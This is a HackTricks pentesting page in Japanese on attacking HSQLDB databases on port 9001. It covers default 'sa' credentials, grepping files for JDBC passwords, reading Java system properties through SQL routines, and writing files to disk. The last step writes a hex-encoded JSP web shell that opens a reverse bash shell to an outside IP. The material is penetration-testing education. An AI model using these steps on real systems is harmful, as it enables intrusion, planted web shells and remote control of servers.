hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2023-07-07 23:42:27 +00:00

98 lines
7.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
# 基本情報
HSQLDB[HyperSQL DataBase](http://hsqldb.org/)は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。これは、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートする、小さくて高速なマルチスレッドおよびトランザクションデータベースエンジンを提供します。
**デフォルトポート:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# 情報
### デフォルト設定
デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。もし見つけた場合、おそらく他のサービスを攻撃し、特権をエスカレーションさせるために探しているでしょう。
デフォルトの資格情報は通常、空のパスワードで`sa`です。
他のサービスを攻撃した場合、可能な資格情報を検索してください。
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
注意してデータベース名を確認してください - 接続するために必要です。
# 情報収集
[HSQLDBをダウンロード](https://sourceforge.net/projects/hsqldb/files/)し、`hsqldb/lib/hsqldb.jar`を展開してDBインスタンスに接続します。GUIアプリうわっ`java -jar hsqldb.jar`を使用して実行し、発見した/弱い認証情報を使用してインスタンスに接続します。
リモートシステムの場合、接続URLは次のようになります`jdbc:hsqldb:hsql://ip/DBNAME`
# テクニック
## Java言語ルーチン
Java言語ルーチンを使用して、HSQLDBからJavaクラスの静的メソッドを呼び出すことができます。ただし、呼び出されるクラスはアプリケーションのクラスパスにある必要があります。
JRTは`関数`または`手続き`になります。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQLステートメントを介して呼び出すことができます。`VALUES`ステートメントを使用して呼び出されます。
Javaメソッドがvoidを返す場合は、`CALL`ステートメントを使用して呼び出す必要があります。
## Javaシステムプロパティの読み取り
関数を作成します:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
実行関数:
```text
VALUES(getsystemproperty('user.name'))
```
[ここ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)でシステムプロパティのリストを見つけることができます。
## ファイルへのコンテンツの書き込み
JDKにある`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`というJavaガジェットを使用して、カスタム手順を介してヘックスエンコードされたアイテムをディスクに書き込むことができます。ただし、最大サイズは1024バイトです。
手順の作成:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
手順の実行:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>